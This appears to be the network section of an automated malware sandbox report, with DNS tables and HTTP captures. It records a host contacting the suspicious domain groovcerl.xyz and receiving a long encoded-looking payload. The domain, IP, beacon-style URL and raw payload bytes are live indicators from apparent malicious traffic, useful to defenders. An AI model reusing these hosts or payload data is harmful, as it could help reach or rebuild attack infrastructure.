Nov 25, 2020 19:06:59.448318005 CET	59571	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:59.475295067 CET	53	59571	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:59.521935940 CET	58542	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:59.549115896 CET	53	58542	8.8.8.8	192.168.2.7
Nov 25, 2020 19:07:08.903095007 CET	59179	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:07:08.946619034 CET	53	59179	8.8.8.8	192.168.2.7
Nov 25, 2020 19:07:11.926423073 CET	60927	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:07:11.975002050 CET	53	60927	8.8.8.8	192.168.2.7
Nov 25, 2020 19:07:15.046040058 CET	57854	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:07:15.081686020 CET	53	57854	8.8.8.8	192.168.2.7
Nov 25, 2020 19:07:55.478131056 CET	62026	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:07:55.518860102 CET	53	62026	8.8.8.8	192.168.2.7
Nov 25, 2020 19:08:01.261270046 CET	59453	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:08:01.302464008 CET	53	59453	8.8.8.8	192.168.2.7
Nov 25, 2020 19:08:01.468924046 CET	62468	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:08:01.514929056 CET	53	62468	8.8.8.8	192.168.2.7
Nov 25, 2020 19:08:02.592272043 CET	52563	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:08:02.627789974 CET	53	52563	8.8.8.8	192.168.2.7
Nov 25, 2020 19:08:04.163912058 CET	54721	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:08:04.191087008 CET	53	54721	8.8.8.8	192.168.2.7
Nov 25, 2020 19:08:13.404321909 CET	62826	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:08:13.441822052 CET	53	62826	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 25, 2020 19:06:19.152002096 CET	192.168.2.7	8.8.8.8	0x57b2	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:21.021868944 CET	192.168.2.7	8.8.8.8	0xb0cf	Standard query (0)	web.vortex.data.msn.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:21.397030115 CET	192.168.2.7	8.8.8.8	0xc2dc	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.012271881 CET	192.168.2.7	8.8.8.8	0xb3ae	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.563325882 CET	192.168.2.7	8.8.8.8	0xb0c3	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.675216913 CET	192.168.2.7	8.8.8.8	0x5f57	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.728153944 CET	192.168.2.7	8.8.8.8	0x74fe	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:24.368446112 CET	192.168.2.7	8.8.8.8	0xd1d3	Standard query (0)	cvision.media.net	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:24.803705931 CET	192.168.2.7	8.8.8.8	0x3282	Standard query (0)	srtb.msn.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.128168106 CET	192.168.2.7	8.8.8.8	0x768f	Standard query (0)	img.img-taboola.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.151326895 CET	192.168.2.7	8.8.8.8	0xfb42	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:08.903095007 CET	192.168.2.7	8.8.8.8	0x583	Standard query (0)	groovcerl.xyz	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:11.926423073 CET	192.168.2.7	8.8.8.8	0x9eba	Standard query (0)	groovcerl.xyz	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:15.046040058 CET	192.168.2.7	8.8.8.8	0x8448	Standard query (0)	groovcerl.xyz	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:55.478131056 CET	192.168.2.7	8.8.8.8	0xd066	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 25, 2020 19:06:19.179038048 CET	8.8.8.8	192.168.2.7	0x57b2	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:21.065136909 CET	8.8.8.8	192.168.2.7	0xb0cf	No error (0)	web.vortex.data.msn.com	web.vortex.data.microsoft.com		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:21.442884922 CET	8.8.8.8	192.168.2.7	0xc2dc	No error (0)	contextual.media.net		104.80.21.70	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.058299065 CET	8.8.8.8	192.168.2.7	0xb3ae	No error (0)	lg3.media.net		104.80.21.70	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.606451988 CET	8.8.8.8	192.168.2.7	0xb0c3	No error (0)	hblg.media.net		104.80.21.70	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:23.711731911 CET	8.8.8.8	192.168.2.7	0x5f57	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:23.765187979 CET	8.8.8.8	192.168.2.7	0x74fe	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:23.910701990 CET	8.8.8.8	192.168.2.7	0x453	No error (0)	consentdeliveryfd.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:24.405493975 CET	8.8.8.8	192.168.2.7	0xd1d3	No error (0)	cvision.media.net	cvision.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:24.830702066 CET	8.8.8.8	192.168.2.7	0x3282	No error (0)	srtb.msn.com	www.msn.com		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:24.830702066 CET	8.8.8.8	192.168.2.7	0x3282	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:26.165539980 CET	8.8.8.8	192.168.2.7	0x768f	No error (0)	img.img-taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:26.165539980 CET	8.8.8.8	192.168.2.7	0x768f	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.165539980 CET	8.8.8.8	192.168.2.7	0x768f	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.165539980 CET	8.8.8.8	192.168.2.7	0x768f	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.165539980 CET	8.8.8.8	192.168.2.7	0x768f	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.186822891 CET	8.8.8.8	192.168.2.7	0xfb42	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2020 19:06:26.186822891 CET	8.8.8.8	192.168.2.7	0xfb42	No error (0)	edge.gycpi.b.yahoodns.net		87.248.118.23	A (IP address)	IN (0x0001)
Nov 25, 2020 19:06:26.186822891 CET	8.8.8.8	192.168.2.7	0xfb42	No error (0)	edge.gycpi.b.yahoodns.net		87.248.118.22	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:08.946619034 CET	8.8.8.8	192.168.2.7	0x583	No error (0)	groovcerl.xyz		162.0.213.230	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:11.975002050 CET	8.8.8.8	192.168.2.7	0x9eba	No error (0)	groovcerl.xyz		162.0.213.230	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:15.081686020 CET	8.8.8.8	192.168.2.7	0x8448	No error (0)	groovcerl.xyz		162.0.213.230	A (IP address)	IN (0x0001)
Nov 25, 2020 19:07:55.518860102 CET	8.8.8.8	192.168.2.7	0xd066	No error (0)	resolver1.opendns.com		208.67.222.222	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

groovcerl.xyz

63.250.47.200

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49766	162.0.213.230	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2020 19:07:09.128911972 CET	2975	OUT	GET /images/_2B9CjQr1xAViB33KLEZFl/2znYpePgiBaym/Zcv7ASeM/RH1S7KGYN6l8JiGWg4e9nXb/NQZq1SSxJi/mc5yp3cGYcmh41_2B/sgGwdOmEGgkx/5KQWfRKKgWK/Xt2u1awqIScbRf/sgOFy4dR5ErSJgERDDH7r/_2FEWj4i_2BFzqwq/_2BgPzFAK8qrY4B/dRdOEARjck/1iLUKWQnn/K.avi HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: groovcerl.xyz Connection: Keep-Alive
Nov 25, 2020 19:07:09.315493107 CET	2977	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:09 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: PHPSESSID=d50vmo31p61r9jkm7vp6r303t1; path=/; domain=.groovcerl.xyz Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: lang=en; expires=Fri, 25-Dec-2020 18:07:09 GMT; path=/; domain=.groovcerl.xyz Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 38 38 36 30 0d 0a 73 67 53 62 2f 4d 4b 64 4f 35 51 64 50 5a 44 55 48 67 77 42 56 45 7a 4e 4e 2b 36 4a 6f 4b 46 42 4e 63 69 6c 77 51 72 7a 39 63 6b 46 48 79 4b 6f 51 37 36 31 38 49 65 57 75 78 70 58 6e 4a 69 31 77 50 2b 68 70 48 4c 2f 47 47 7a 75 30 6a 51 41 54 35 4f 52 79 56 33 72 53 78 30 47 65 66 65 43 4c 55 32 6d 43 41 5a 2b 55 4b 41 72 6d 35 43 65 2b 77 43 6b 76 63 62 53 44 58 44 4d 2b 64 35 41 4b 4d 71 39 36 73 42 36 7a 54 61 34 63 74 4c 45 75 44 6d 44 42 34 6c 62 72 38 36 50 36 43 4e 74 58 37 6e 6d 68 5a 72 43 61 62 5a 72 58 74 79 52 41 4e 36 62 53 66 6a 4c 44 46 35 34 55 38 49 71 63 59 72 54 63 39 30 54 2f 38 66 66 78 32 33 4f 70 4c 42 35 61 76 32 36 49 77 45 37 76 45 4e 6b 53 67 44 4f 2f 2f 6e 6b 38 70 38 31 71 5a 41 77 6a 54 46 58 5a 34 53 4a 44 30 71 66 59 41 68 4d 67 32 6a 69 51 2b 38 6c 62 35 68 4e 50 59 50 44 53 41 5a 68 45 32 4b 7a 58 66 6a 56 33 43 75 6b 50 6a 48 4d 34 6a 33 5a 61 37 78 46 61 33 48 54 64 75 6f 55 41 4d 59 41 37 61 6d 73 4d 38 2b 4d 6a 63 4e 5a 37 78 39 63 48 56 6e 58 73 62 77 66 54 39 2f 44 41 79 4f 79 72 6e 77 62 75 43 49 36 35 48 42 4d 77 42 6f 47 64 5a 67 74 57 73 52 6a 6d 44 6d 53 79 32 48 4a 76 70 6a 65 45 66 41 49 53 58 41 38 42 63 6f 34 72 67 44 79 53 42 76 4b 4e 74 64 79 31 45 57 5a 39 2f 2b 37 6c 51 49 36 4e 58 72 48 56 78 34 55 31 49 79 31 64 5a 77 78 59 73 45 42 4b 51 73 64 59 4d 72 55 34 33 41 45 47 59 76 78 65 59 65 4a 49 51 32 6f 32 36 70 33 2f 55 61 5a 59 38 76 42 46 54 43 39 42 50 47 69 45 77 65 53 54 55 6f 37 71 76 75 70 70 46 68 47 65 45 6e 64 42 5a 32 51 4a 69 72 50 46 75 6d 4b 53 78 50 73 6f 2f 61 55 55 65 6b 76 6c 58 71 74 6f 4d 6b 48 45 78 35 35 32 4d 41 79 76 63 6a 72 72 44 39 2b 51 54 55 44 70 6d 59 64 47 48 67 31 72 39 49 52 4f 79 75 36 5a 52 59 32 47 77 48 31 31 77 5a 6d 68 56 6e 55 65 41 6d 59 48 4c 47 75 6b 74 49 2b 51 36 65 47 42 33 34 49 48 78 31 39 37 73 37 64 31 73 50 4f 73 58 79 62 55 6c 69 64 4f 4b 6c 50 73 69 36 44 54 55 2f 43 30 41 30 4e 72 5a 76 35 71 6c 36 50 6e 44 32 67 57 33 68 53 55 6e 37 41 30 51 61 58 4d 4a 45 79 33 73 50 69 2b 36 69 6b 39 78 69 5a 44 4a 49 37 73 65 6d 38 30 64 44 47 39 6a 30 56 6f 65 4f 64 4f 6d 57 2f 41 2b 66 45 65 35 58 2f 69 4c 75 69 51 30 45 48 56 2f 42 7a 63 6d 57 38 77 56 38 6c 52 4e 61 42 51 4c 65 6b 65 39 67 53 4f 44 68 72 77 67 47 56 62 7a 72 2b 43 75 53 62 58 71 6b 33 7a 59 50 31 36 31 35 6f 30 61 Data Ascii: 38860sgSb/MKdO5QdPZDUHgwBVEzNN+6JoKFBNcilwQrz9ckFHyKoQ7618IeWuxpXnJi1wP+hpHL/GGzu0jQAT5ORyV3rSx0GefeCLU2mCAZ+UKArm5Ce+wCkvcbSDXDM+d5AKMq96sB6zTa4ctLEuDmDB4lbr86P6CNtX7nmhZrCabZrXtyRAN6bSfjLDF54U8IqcYrTc90T/8ffx23OpLB5av26IwE7vENkSgDO//nk8p81qZAwjTFXZ4SJD0qfYAhMg2jiQ+8lb5hNPYPDSAZhE2KzXfjV3CukPjHM4j3Za7xFa3HTduoUAMYA7amsM8+MjcNZ7x9cHVnXsbwfT9/DAyOyrnwbuCI65HBMwBoGdZgtWsRjmDmSy2HJvpjeEfAISXA8Bco4rgDySBvKNtdy1EWZ9/+7lQI6NXrHVx4U1Iy1dZwxYsEBKQsdYMrU43AEGYvxeYeJIQ2o26p3/UaZY8vBFTC9BPGiEweSTUo7qvuppFhGeEndBZ2QJirPFumKSxPso/aUUekvlXqtoMkHEx552MAyvcjrrD9+QTUDpmYdGHg1r9IROyu6ZRY2GwH11wZmhVnUeAmYHLGuktI+Q6eGB34IHx197s7d1sPOsXybUlidOKlPsi6DTU/C0A0NrZv5ql6PnD2gW3hSUn7A0QaXMJEy3sPi+6ik9xiZDJI7sem80dDG9j0VoeOdOmW/A+fEe5X/iLuiQ0EHV/BzcmW8wV8lRNaBQLeke9gSODhrwgGVbzr+CuSbXqk3zYP1615o0a
Nov 25, 2020 19:07:09.315515041 CET	2978	IN	Data Raw: 56 49 61 76 7a 44 6c 71 79 4f 35 32 37 72 63 30 6f 55 38 38 38 55 2f 37 41 57 46 61 46 48 36 69 63 44 2f 61 50 6f 43 36 62 64 62 73 57 6d 64 4f 5a 46 48 4b 30 2f 55 61 58 62 38 45 4b 44 68 6a 2f 49 4b 6c 50 72 6f 6d 38 4f 51 36 77 54 6a 6f 58 41 Data Ascii: VIavzDlqyO527rc0oU888U/7AWFaFH6icD/aPoC6bdbsWmdOZFHK0/UaXb8EKDhj/IKlProm8OQ6wTjoXAPY0fPtP3ihUR/kL11aXZ72pfEu4SvdZFxSJlzUuRhEpy1STbf7ZMs4mGAeBIQ7CLpwzVHQCn5cx0483iF5Dr0r986luT70sVLi8RMnNj3xIatEyJ2MTZw8CIu+VnqE/EBnYVrMYxpHy5SUUyes4Ljlh6DI3BxRo6e
Nov 25, 2020 19:07:09.315530062 CET	2980	IN	Data Raw: 47 70 54 43 73 30 31 39 6c 75 78 77 38 4f 53 4c 64 43 73 30 61 72 63 44 45 4a 49 57 4b 48 33 44 30 64 47 49 2f 76 6d 38 42 72 5a 6a 7a 30 6f 6f 79 6c 67 57 57 65 61 32 6b 65 69 48 4a 68 4f 61 68 63 54 2f 35 55 35 5a 62 6f 6c 4e 6e 34 49 68 4b 51 Data Ascii: GpTCs019luxw8OSLdCs0arcDEJIWKH3D0dGI/vm8BrZjz0ooylgWWea2keiHJhOahcT/5U5ZbolNn4IhKQKdoPBeVd0/1KKJHiWAgfPrPrS+RWWbljg7xcRPN9ghJd/u/aUGCOM/MHpRW+qY9+sThD/tLZirLic9tqRzxShmx5vYTdfTWM2149wDWFD3Qn3XtinmPT8p95W9dvcPXo6VTy1EBt/JaLhn87juauC4QobKhBkq6YJ
Nov 25, 2020 19:07:09.315545082 CET	2981	IN	Data Raw: 38 31 38 47 73 57 71 5a 38 52 74 6e 52 42 69 4f 65 71 54 63 45 39 6e 79 61 66 4c 2f 51 55 31 47 30 4c 55 6b 67 54 77 6a 66 79 33 48 6d 68 35 63 2f 53 6f 78 5a 65 6d 65 75 73 74 37 4b 59 6f 38 4e 66 5a 66 5a 4a 4f 73 4f 4d 5a 30 6b 68 4a 39 4c 62 Data Ascii: 818GsWqZ8RtnRBiOeqTcE9nyafL/QU1G0LUkgTwjfy3Hmh5c/SoxZemeust7KYo8NfZfZJOsOMZ0khJ9Lb/65j8o0bqQicJJWwnbMGthnyWLrvZyXgscbwJkrosGAlCnDT0twrZjIfdkrQ4EwMs1YHU/s+p9zdxAmGFSCV6Y+jB6oS7NhAOI3gta0ZFSkycmbUZM/WAqI4frjxj9JIiYGKMnupOw0R8vD0OoUGd/YrUfY834ndS
Nov 25, 2020 19:07:09.315561056 CET	2982	IN	Data Raw: 54 53 52 4d 4a 57 4e 30 2b 49 56 6e 67 2b 48 39 6a 57 69 2f 42 61 65 6d 79 73 59 33 46 61 44 5a 43 62 48 59 4b 2b 45 69 41 6c 50 4f 49 2f 77 76 53 4a 6c 72 59 4a 55 56 39 64 69 2b 30 45 45 67 77 57 39 43 6f 64 50 55 45 74 32 55 42 66 72 73 77 38 Data Ascii: TSRMJWN0+IVng+H9jWi/BaemysY3FaDZCbHYK+EiAlPOI/wvSJlrYJUV9di+0EEgwW9CodPUEt2UBfrsw8EUUV/7avQgZpoTXaG7i5KtWQ77mhXWw98MbuCoRah0vyLOPnCHDmL0Oz6h/cxcOZ/dB5YgdCm3WMq2EBYBtrojX8Ii9dOseqPRxCso3yz3I48cEvWYRSDxkQsCJO76nMCnA0KpaP62W752IE90+9Oy72F7cqnm+uZ
Nov 25, 2020 19:07:09.315577984 CET	2984	IN	Data Raw: 6a 49 67 78 53 61 51 74 6b 39 44 39 79 70 6b 30 7a 2b 48 49 31 46 49 58 46 4c 70 59 37 58 6e 47 4d 39 77 49 37 4a 35 62 48 70 43 4e 38 4e 6c 41 45 4c 4a 50 58 77 67 77 67 54 4f 56 72 50 77 47 5a 66 77 52 35 73 64 53 32 4f 38 6f 62 79 37 4a 55 33 Data Ascii: jIgxSaQtk9D9ypk0z+HI1FIXFLpY7XnGM9wI7J5bHpCN8NlAELJPXwgwgTOVrPwGZfwR5sdS2O8oby7JU3NYNXqmdFcw/h3fx2up4lewDxFhVHQxN+Ca47P3MixqCaTacxuhtUwcpVyOs5LbMujgUdoWhhlH5lw4EXYq/cmUyEDq0XXuLgu4yuNMQkwJl7zffZk2VZzCbmr8ZZGIhWo/gaKqn/hcMmDz8vTSroErdNqXASHSACW
Nov 25, 2020 19:07:09.315596104 CET	2985	IN	Data Raw: 4e 34 78 51 51 6f 47 71 44 4a 73 32 56 73 68 46 66 6e 67 4d 5a 2f 59 46 39 53 67 62 36 59 79 4a 66 51 5a 59 44 50 52 68 37 33 37 47 70 78 45 49 4f 45 75 39 45 6a 4d 41 71 7a 74 78 52 4f 52 42 39 41 65 72 77 67 4f 47 5a 70 51 57 39 41 4b 6c 50 4e Data Ascii: N4xQQoGqDJs2VshFfngMZ/YF9Sgb6YyJfQZYDPRh737GpxEIOEu9EjMAqztxRORB9AerwgOGZpQW9AKlPN9XZe9L2i4hFbgMdi3Vw804xlyXS7tmE0Jc0vcK8fZvoP62iATxCkluEmsMiJn/unnndPvKa95v4hlyP5qPlZdQx92Y8IpSmfafBs3gQOzsPU8kVgERv2tVF3tsqkILFSv8reBkZLrL6G+DBPG7Ci54UQ1wXxhYVf3
Nov 25, 2020 19:07:09.315613985 CET	2986	IN	Data Raw: 43 68 4b 4a 74 6f 64 6c 47 45 34 6a 6a 49 4f 77 39 43 36 35 52 56 38 33 33 44 70 72 7a 6d 64 58 34 66 51 48 42 35 4d 6a 57 66 5a 49 4b 66 6a 52 75 65 48 66 52 6b 54 6e 63 73 78 37 65 4e 41 67 73 73 4f 54 37 71 74 33 33 47 38 46 30 67 30 58 7a 4f Data Ascii: ChKJtodlGE4jjIOw9C65RV833DprzmdX4fQHB5MjWfZIKfjRueHfRkTncsx7eNAgssOT7qt33G8F0g0XzO1MfnKR0fZOW4xfRBS7FG4yKgmvO0aYpU1cVLZZ7Nk7TndfC8P56naEmqMFxOHozY2+n4EICLS0ETauTmxi9g8l0URkqflY1O1m6NHvh4vc6NlZKbi1Bj2jVlCztKry1LfwoWdUqxZJ0OrQlI/uKI1aedLHFniwcE6
Nov 25, 2020 19:07:09.315632105 CET	2988	IN	Data Raw: 31 78 78 30 65 72 65 33 76 49 65 55 52 53 46 44 69 55 74 72 71 30 44 52 4c 69 49 70 44 69 4c 50 58 6b 57 64 75 38 44 63 61 64 4b 39 2f 39 50 72 62 4e 4a 43 64 67 70 69 62 39 48 31 67 57 61 43 65 38 59 65 42 47 30 34 6c 41 4c 39 79 38 56 72 6e 6e Data Ascii: 1xx0ere3vIeURSFDiUtrq0DRLiIpDiLPXkWdu8DcadK9/9PrbNJCdgpib9H1gWaCe8YeBG04lAL9y8VrnnnRO8BpZPWTvpDHvd4EK3yyG8yng5xrK/VieDARoTxVxeaUENkLeaCeDWT7pOynvYrkbNYACkjmckXm0a+xfcG+rzC8tXPc0354cLxK87SCKz37O3OeJduJ1K5mNt9bs/uSuErha7N/cFKe2i/ZxAvFGV2028fV99z
Nov 25, 2020 19:07:09.315712929 CET	2989	IN	Data Raw: 4d 35 4f 67 6c 4d 4c 49 52 38 30 51 55 33 50 76 76 6c 41 62 35 74 6f 73 59 74 38 39 38 77 4d 51 44 74 54 39 30 6b 73 58 59 72 35 2b 51 74 2b 46 51 30 51 36 79 61 41 74 54 7a 64 59 4c 50 71 6d 32 57 45 44 41 6a 56 36 54 7a 6a 41 41 31 6f 36 4b 31 Data Ascii: M5OglMLIR80QU3PvvlAb5tosYt898wMQDtT90ksXYr5+Qt+FQ0Q6yaAtTzdYLPqm2WEDAjV6TzjAA1o6K11xKpslT1MlfLTwJG3v70EvHctrDqOw2uny1Rmey66tgNOPj9ou9slvwm/qfO5oCAL0mBFYfcF5VKiKNFl31I2jxnNKLOFHcUtcoz7+s4ofgCTf/qrMEqbO4rMmUlSJIMGvnBsEIagA0y12YwkcX32U2OdFKtABdF7
Nov 25, 2020 19:07:09.480827093 CET	2991	IN	Data Raw: 70 76 4a 4a 57 6d 6e 30 31 67 76 44 37 62 4d 32 35 6b 32 76 69 75 2b 55 7a 2b 76 67 42 75 4d 66 64 6f 47 6b 72 64 61 50 45 76 50 48 64 5a 48 6f 7a 7a 45 4a 42 6d 50 6b 4f 4f 58 7a 72 54 50 48 65 70 39 4b 68 2f 34 77 6d 5a 37 61 46 6e 42 59 63 58 Data Ascii: pvJJWmn01gvD7bM25k2viu+Uz+vgBuMfdoGkrdaPEvPHdZHozzEJBmPkOOXzrTPHep9Kh/4wmZ7aFnBYcXKWVYEoGXNjOove7M4OQPGxQGuJZ6GmpOM+yuyviWryxQ9RTD/xtIvz0QTBbBvMeK/1TOoJR17PmWx51PgKi90KUNokiXhOVAFg8fMJKNE4hMtH80eO52UBHkmxybmApoCYqLYKdRV9Dm0Q2R03KzXyWmWBlXBBLK6
Nov 25, 2020 19:07:10.070240021 CET	3221	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: groovcerl.xyz Connection: Keep-Alive Cookie: PHPSESSID=d50vmo31p61r9jkm7vp6r303t1; lang=en
Nov 25, 2020 19:07:10.464745998 CET	3221	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: groovcerl.xyz Connection: Keep-Alive Cookie: PHPSESSID=d50vmo31p61r9jkm7vp6r303t1; lang=en
Nov 25, 2020 19:07:10.630757093 CET	3251	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:10 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Wed, 18 Nov 2020 11:00:08 GMT ETag: "1536-5b45f83b33946" Accept-Ranges: bytes Content-Length: 5430 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/vnd.microsoft.icon Data Raw: 00 00 01 00 02 00 10 10 00 00 00 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 87 73 f7 9c 87 73 f9 9c 87 73 f7 9c 87 73 77 9c 87 72 03 ff ff ff 01 9c 87 73 09 9c 87 73 0f 9c 87 73 0d 9b 87 73 05 ff ff ff 01 9c 87 73 15 9c 87 73 c7 9c 87 73 f9 9c 87 73 f9 9c 87 73 85 9c 87 73 f9 9c 87 72 f9 9c 87 73 7b 9c 87 73 05 9c 87 73 23 9c 87 73 7f 9c 87 73 c3 9b 87 72 d3 9c 87 73 cf 9c 87 73 ad 9c 87 73 5b 9c 87 73 0d 9c 87 73 1b 9c 87 73 c5 9b 87 73 ff 9c 87 73 85 9c 87 73 f7 9c 87 73 7d 9c 87 73 07 9c 87 73 57 9c 87 72 db 9c 87 73 ab 9c 87 73 6d 9c 87 73 4b 9c 87 73 43 9c 87 73 77 9c 87 73 cf 9c 87 73 b7 9b 86 73 25 9c 87 73 21 9c 87 73 cb 9c 87 73 87 9c 87 73 7f 9c 87 73 05 9c 87 73 55 9c 87 73 e1 9c 87 73 59 9c 87 73 81 9c 87 73 df 9c 87 73 c9 9b 86 72 23 ff ff ff 01 9c 87 73 13 9c 87 73 97 9c 87 73 cd 9c 87 73 19 9c 87 72 25 9c 87 73 5b 9c 87 73 03 9c 87 73 1d 9c 87 73 d9 9c 87 73 5d 9c 87 73 0b 9b 87 72 ef 9c 87 73 53 9b 87 73 bf 9c 87 73 71 ff ff ff 01 ff ff ff 01 9c 87 73 0b 9c 87 73 a5 9c 87 73 95 9c 87 73 03 9c 87 73 03 ff ff ff 01 9c 87 73 75 9c 87 73 b5 9c 87 73 07 ff ff ff 01 9c 87 73 c1 9c 87 73 db 9c 87 73 e7 9c 87 73 41 ff ff ff 01 ff ff ff 01 ff ff ff 01 9c 86 73 25 9b 87 73 d9 9c 87 73 23 ff ff ff 01 9c 87 72 07 9c 87 72 bb 9c 87 73 5d ff ff ff 01 ff ff ff 01 9c 87 73 1b 9c 87 73 db 9c 87 73 6b 9c 87 73 03 9c 87 73 03 ff ff ff 01 ff ff ff 01 9c 87 73 03 9c 87 73 af 9c 87 73 5d ff ff ff 01 9c 87 73 0d 9c 87 72 cd 9c 87 73 37 ff ff ff 01 ff ff ff 01 9c 86 73 09 9c 87 73 c9 9c 87 72 91 9c 86 72 a3 9c 87 73 81 9c 86 72 05 ff ff ff 01 ff ff ff 01 9b 87 73 85 9c 87 73 7f ff ff ff 01 9c 87 73 0d 9c 87 73 cb 9b 87 73 37 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 69 9c 87 73 3f 9c 87 73 37 9c 87 73 13 ff ff ff 01 ff ff ff 01 9b 87 73 83 9c 87 73 7f ff ff ff 01 9c 87 73 07 9c 87 73 b9 9c 87 72 57 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 c9 9c 87 73 97 9c 87 73 a9 9c 87 73 a9 9c 87 73 97 ff ff ff 01 ff ff ff 01 9c 87 73 ab 9c 87 73 5b ff ff ff 01 ff ff ff 01 9c 87 73 73 9c 87 73 ad 9c 87 73 05 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 6d 9c 87 73 49 9c 87 73 3b 9c 87 73 07 ff ff ff 01 9c 87 73 21 9c 87 73 d3 9c 87 73 23 ff ff ff 01 9c 87 73 05 9c 87 73 1b 9b 87 73 d3 9c 87 73 51 ff ff ff 01 9b 86 73 09 9c 87 73 cb 9c 87 73 89 9b 87 72 83 9c 87 73 6d 9c 87 73 05 9c 87 72 07 9c 87 73 97 9b 87 72 91 9c 87 73 03 9c 87 73 05 9b 87 72 89 9c 87 73 07 9c 87 73 51 9c 87 73 d9 9c 87 72 4b 9c 87 73 07 9c 87 73 67 9c 86 73 27 ff ff ff 01 ff ff ff 01 9b 86 73 0d 9c 87 73 81 9c 87 73 c5 9c 87 73 17 9c 87 73 